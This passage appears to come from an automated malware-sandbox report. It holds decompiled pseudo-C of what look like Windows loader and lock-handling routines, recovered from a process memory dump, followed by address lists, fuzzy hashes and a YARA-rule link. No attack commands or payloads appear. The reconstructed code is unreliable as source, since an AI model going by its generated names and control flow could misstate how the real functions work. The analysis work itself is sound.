									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E046658EC(_t240);
									_t221 =  *0x4755cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0x4755cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E046A4A2C(0x4756e40, 0x46a4b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E04687D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x4645c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E0469F6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E0469F6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E046E7016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L04682400(_t267 + 0x20);
															}
															L04682400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E04692397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E04682280(_t134, 0x4758608);
									__eflags =  *0x4756e48 - _t253; // 0x26eaf00
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E0467FFB0(_t198, _t241, 0x4758608);
										__eflags = _t253;
										if(_t253 != 0) {
											L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0x4756e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0x4758608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E04696B90(_t210,  &_v64);
										_t262 =  *0x4758608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E0469E180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E046A97C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E046A006A(0x4758608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0x4758608);
												E046AB180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0x4756904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0x4756e48; // 0x26eaf00
							_v72 = _t229;
							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								E0467FFB0(_t198, _t240, 0x4758608);
								_t253 = _v76;
								goto L29;
							} else {
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E046A00C2(0x4758608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x046920a0
0x046920a8
0x046920ad
0x046920b3
0x046920b8
0x046920c2
0x046920c7
0x046920cb
0x046920d2
0x04692263
0x04692266
0x046d5836
0x046d5836
0x00000000
0x0469226c
0x0469226c
0x04692270
0x04692274
0x046920e2
0x046920e2
0x046920e6
0x046920ee
0x046d57dc
0x046d57de
0x046d57ec
0x046d57ec
0x046d57f1
0x046d57f3
0x046d57f8
0x00000000
0x046d57f8
0x046d57e0
0x046d57e4
0x046d57ea
0x00000000
0x00000000
0x00000000
0x046d57ea
0x046920f4
0x046920f4
0x046920f8
0x046920f8
0x046920fc
0x04692100
0x04692106
0x04692201
0x04692206
0x0469220b
0x0469220e
0x046922a9
0x046922ac
0x00000000
0x00000000
0x046922b2
0x046922b5
0x046d5801
0x046d5806
0x00000000
0x00000000
0x046d5810
0x046d5815
0x046d5818
0x00000000
0x00000000
0x046d581e
0x046922bb
0x046922bb
0x04692218
0x04692218
0x0469221c
0x04692220
0x04692222
0x046922c2
0x046922c4
0x046922dc
0x046922dc
0x046922e1
0x00000000
0x00000000
0x00000000
0x046922e7
0x046922c8
0x046922cd
0x046922d3
0x046922d6
0x046d5823
0x046d5825
0x046d5827
0x00000000
0x00000000
0x046d582d
0x00000000
0x046d582d
0x00000000
0x04692228
0x04692228
0x00000000
0x04692228
0x04692222
0x04692214
0x04692214
0x00000000
0x04692114
0x04692114
0x04692114
0x0469211a
0x0469211c
0x04692348
0x0469234d
0x046d5840
0x046d5845
0x046d5848
0x046d584e
0x046d584e
0x046d5848
0x04692353
0x04692355
0x04692388
0x04692388
0x04692368
0x0469236a
0x0469236c
0x0469238f
0x00000000
0x0469236e
0x0469236e
0x0469218e
0x0469218e
0x04692191
0x04692195
0x046d5a03
0x046d5a06
0x046d5a0c
0x046d5a0f
0x046d5a11
0x046d5a13
0x046d5a13
0x046d5a19
0x046d5a1f
0x00000000
0x0469219b
0x0469219b
0x046921a0
0x04692282
0x04692284
0x04692284
0x04692284
0x04692284
0x046921a6
0x046921a9
0x046921ac
0x046921ae
0x046921b3
0x0469228b
0x04692290
0x04692379
0x04692296
0x04692298
0x04692298
0x04692290
0x046921b9
0x046921be
0x046922a2
0x046922a2
0x046921c4
0x046921c8
0x046921cc
0x046921d0
0x046921d4
0x046921de
0x046921e3
0x046d5a29
0x046d5a2c
0x00000000
0x00000000
0x046d5a3b
0x00000000
0x046921e9
0x046921e9
0x046921e9
0x046921ee
0x046921f1
0x046d5a45
0x046d5a4b
0x046d5a52
0x046d5a58
0x046d5a5d
0x046d5a5f
0x046d5a71
0x046d5a61
0x046d5a6a
0x046d5a6a
0x046d5a76
0x046d5a79
0x046d5a7f
0x046d5a83
0x046d5a85
0x046d5a87
0x046d5a87
0x046d5a8c
0x046d5a91
0x046d5a97
0x046d5a9f
0x046d5aa0
0x046d5aa1
0x046d5aa6
0x046d5aab
0x046d5ab1
0x046d5ab3
0x046d5ab9
0x046d5aca
0x046d5ad4
0x046d5ad4
0x046d5ade
0x046d5ade
0x046d5aab
0x046d5a79
0x046d5a52
0x046921f7
0x046921f9
0x046921fe
0x046921fe
0x046921e3
0x04692195
0x0469236c
0x04692122
0x04692122
0x04692124
0x04692231
0x04692236
0x04692236
0x04692238
0x04692238
0x04692240
0x04692242
0x04692244
0x046d59fc
0x0469218c
0x0469218c
0x00000000
0x0469218c
0x0469224a
0x0469224f
0x04692256
0x04692304
0x04692309
0x0469230f
0x0469231e
0x0469231e
0x0469231e
0x04692320
0x04692325
0x0469232a
0x0469232c
0x0469233e
0x0469233e
0x00000000
0x0469232c
0x04692311
0x04692317
0x0469231a
0x0469231c
0x04692380
0x04692380
0x04692380
0x04692384
0x00000000
0x00000000
0x04692386
0x00000000
0x0469231c
0x0469225c
0x0469225c
0x00000000
0x0469225c
0x0469212a
0x04692134
0x04692138
0x0469213d
0x046d5858
0x046d5863
0x046d5863
0x046d5867
0x046d586a
0x00000000
0x00000000
0x046d586c
0x046d586c
0x046d5871
0x046d5875
0x046d5877
0x046d5997
0x046d599c
0x046d59a1
0x046d59a7
0x046d59a7
0x00000000
0x046d59a7
0x046d587d
0x00000000
0x046d588b
0x046d588b
0x046d5890
0x046d5892
0x046d5894
0x046d5899
0x046d589b
0x046d58a0
0x046d58a0
0x046d58aa
0x046d58b2
0x046d58b6
0x046d58be
0x046d58c6
0x046d58c9
0x046d590d
0x046d5917
0x046d591a
0x046d591c
0x046d5920
0x046d5928
0x046d592a
0x046d592c
0x046d592e
0x046d592e
0x046d58cb
0x046d58cd
0x046d58d8
0x046d58e0
0x046d58f4
0x046d58fe
0x046d58fe
0x046d593a
0x046d593e
0x046d5940
0x046d5942
0x00000000
0x046d5944
0x046d5944
0x046d5949
0x046d594e
0x046d594e
0x046d5953
0x046d595b
0x046d5976
0x046d5976
0x046d597a
0x046d597f
0x00000000
0x00000000
0x00000000
0x00000000
0x046d5981
0x046d5981
0x046d5981
0x046d5983
0x046d5988
0x046d598d
0x046d5991
0x046d5991
0x00000000
0x046d595d
0x046d595d
0x046d5963
0x046d5965
0x00000000
0x00000000
0x00000000
0x00000000
0x046d5967
0x046d5967
0x046d596b
0x046d596d
0x00000000
0x00000000
0x046d596f
0x046d5971
0x046d5971
0x046d5974
0x00000000
0x00000000
0x00000000
0x046d5974
0x00000000
0x046d5967
0x046d595b
0x046d5942
0x046d5863
0x04692143
0x04692143
0x04692149
0x0469214f
0x046922f1
0x046922f6
0x00000000
0x04692173
0x04692173
0x0469217d
0x04692181
0x04692186
0x046d59ae
0x046d59b2
0x046d59b5
0x046d59b7
0x046d59ba
0x046d59cd
0x046d59d1
0x046d59d5
0x046d59d9
0x046d59db
0x00000000
0x00000000
0x046d59dd
0x046d59dd
0x046d59e1
0x046d59e4
0x046d59e7
0x046d59ee
0x046d59ee
0x046d59f3
0x046d59f3
0x00000000
0x04692186
0x0469214f
0x04692106
0x04692266
0x046920d8
0x046920da
0x046920e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77c8b8685dba400b52edeab03bdd80b611418eb22c76cdb7b3fd44f8e97e6e21
Instruction ID: 302e6eb43203610d15dc00cd3a4a49b19c7f27d8677663dc28a09259e4081a69
Opcode Fuzzy Hash: 77c8b8685dba400b52edeab03bdd80b611418eb22c76cdb7b3fd44f8e97e6e21
Instruction Fuzzy Hash: 02F1D331A08341AFEB25CF28C45076A77E9AB95324F048D6DE9969B350F7B4FC41CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0467D5E0, Relevance: .4, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E0467D5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				signed int _t206;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				unsigned int _t297;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t361;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x475d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E04676600(0x47552d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x4757b9c; // 0x0
							_t281 = L04684620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E046AF3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x4757b90; // 0x779c0000
								if(_t384 == 0) {
									_t353 =  *0x4757b8c; // 0x26e2a08
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E04682280(_t200, 0x47584d8);
									_t277 =  *0x47585f4; // 0x26e2ef8
									_t351 =  *0x47585f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0x26e2e90
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E0467FFB0(_t287, _t353, 0x47584d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E046BCC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E04676600(0x47552d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E04677926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x475b239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E046EE974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x4758472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														_t361 =  *0x475b218; // 0x0
														asm("ror edi, cl");
														 *0x475b1e0( &_v192, _t353, _v168, 0, _v180);
														 *(_t361 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E04682280(_t250, 0x47584d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L046A3898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E0467FFB0(_t293, _t353, 0x47584d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E046A37F5(_t353, 0);
																}
																E046A0413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E04699B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E046902D6(_t174);
																}
																L046877F0( *0x4757b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E0469C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L0467EC7F(_t353);
										L046919B8(_t287, 0, _t353, 0);
										_t200 = E0466F4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E046AB640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_t206 =  *0x475b2f8; // 0x110000
									if((_t206 |  *0x475b2fc) == 0 || ( *0x475b2e4 & 0x00000001) != 0) {
										goto L46;
									} else {
										_t297 =  *0x475b2ec; // 0x100
										_v200 = 0;
										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
											_t355 = _v168;
											_t342 =  &_v208;
											_t208 = E04716B68(_v168,  &_v208, _v168, __eflags);
											__eflags = _t208 - 1;
											if(_t208 == 1) {
												goto L46;
											} else {
												__eflags = _v208 & 0x00000010;
												if((_v208 & 0x00000010) == 0) {
													goto L46;
												} else {
													_t342 = 4;
													_t366 = E04716AEB(_t355, 4,  &_v216);
													__eflags = _t366;
													if(_t366 >= 0) {
														goto L46;
													} else {
														asm("int 0x29");
														_t356 = 0;
														_v44 = 0;
														_t290 = _v52;
														__eflags = 0;
														if(0 == 0) {
															L108:
															_t356 = 0;
															_v44 = 0;
															goto L63;
														} else {
															__eflags = 0;
															if(0 < 0) {
																goto L108;
															}
															L63:
															_v112 = _t356;
															__eflags = _t356;
															if(_t356 == 0) {
																L143:
																_v8 = 0xfffffffe;
																_t211 = 0xc0000089;
															} else {
																_v36 = 0;
																_v60 = 0;
																_v48 = 0;
																_v68 = 0;
																_v44 = _t290 & 0xfffffffc;
																E0467E9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
																_t306 = _v68;
																__eflags = _t306;
																if(_t306 == 0) {
																	_t216 = 0xc000007b;
																	_v36 = 0xc000007b;
																	_t307 = _v60;
																} else {
																	__eflags = _t290 & 0x00000001;
																	if(__eflags == 0) {
																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																		__eflags = _t349 - 0x10b;
																		if(_t349 != 0x10b) {
																			__eflags = _t349 - 0x20b;
																			if(_t349 == 0x20b) {
																				goto L102;
																			} else {
																				_t307 = 0;
																				_v48 = 0;
																				_t216 = 0xc000007b;
																				_v36 = 0xc000007b;
																				goto L71;
																			}
																		} else {
																			L102:
																			_t307 =  *(_t306 + 0x50);
																			goto L69;
																		}
																		goto L151;
																	} else {
																		_t239 = L0467EAEA(_t290, _t290, _t356, _t366, __eflags);
																		_t307 = _t239;
																		_v60 = _t307;
																		_v48 = _t307;
																		__eflags = _t307;
																		if(_t307 != 0) {
																			L70:
																			_t216 = _v36;
																		} else {
																			_push(_t239);
																			_push(0x14);
																			_push( &_v144);
																			_push(3);
																			_push(_v44);
																			_push(0xffffffff);
																			_t319 = E046A9730();
																			_v36 = _t319;
																			__eflags = _t319;
																			if(_t319 < 0) {
																				_t216 = 0xc000001f;
																				_v36 = 0xc000001f;
																				_t307 = _v60;
																			} else {
																				_t307 = _v132;
																				L69:
																				_v48 = _t307;
																				goto L70;
																			}
																		}
																	}
																}
																L71:
																_v72 = _t307;
																_v84 = _t216;
																__eflags = _t216 - 0xc000007b;
																if(_t216 == 0xc000007b) {
																	L150:
																	_v8 = 0xfffffffe;
																	_t211 = 0xc000007b;
																} else {
																	_t344 = _t290 & 0xfffffffc;
																	_v76 = _t344;
																	__eflags = _v40 - _t344;
																	if(_v40 <= _t344) {
																		goto L150;
																	} else {
																		__eflags = _t307;
																		if(_t307 == 0) {
																			L75:
																			_t217 = 0;
																			_v104 = 0;
																			__eflags = _t366;
																			if(_t366 != 0) {
																				__eflags = _t290 & 0x00000001;
																				if((_t290 & 0x00000001) != 0) {
																					_t217 = 1;
																					_v104 = 1;
																				}
																				_t290 = _v44;
																				_v52 = _t290;
																			}
																			__eflags = _t217 - 1;
																			if(_t217 != 1) {
																				_t369 = 0;
																				_t218 = _v40;
																				goto L91;
																			} else {
																				_v64 = 0;
																				E0467E9C0(1, _t290, 0, 0,  &_v64);
																				_t309 = _v64;
																				_v108 = _t309;
																				__eflags = _t309;
																				if(_t309 == 0) {
																					goto L143;
																				} else {
																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																					__eflags = _t226 - 0x10b;
																					if(_t226 != 0x10b) {
																						__eflags = _t226 - 0x20b;
																						if(_t226 != 0x20b) {
																							goto L143;
																						} else {
																							_t371 =  *(_t309 + 0x98);
																							goto L83;
																						}
																					} else {
																						_t371 =  *(_t309 + 0x88);
																						L83:
																						__eflags = _t371;
																						if(_t371 != 0) {
																							_v80 = _t371 - _t356 + _t290;
																							_t310 = _v64;
																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																							_t292 =  *(_t310 + 6) & 0x0000ffff;
																							_t311 = 0;
																							__eflags = 0;
																							while(1) {
																								_v120 = _t311;
																								_v116 = _t348;
																								__eflags = _t311 - _t292;
																								if(_t311 >= _t292) {
																									goto L143;
																								}
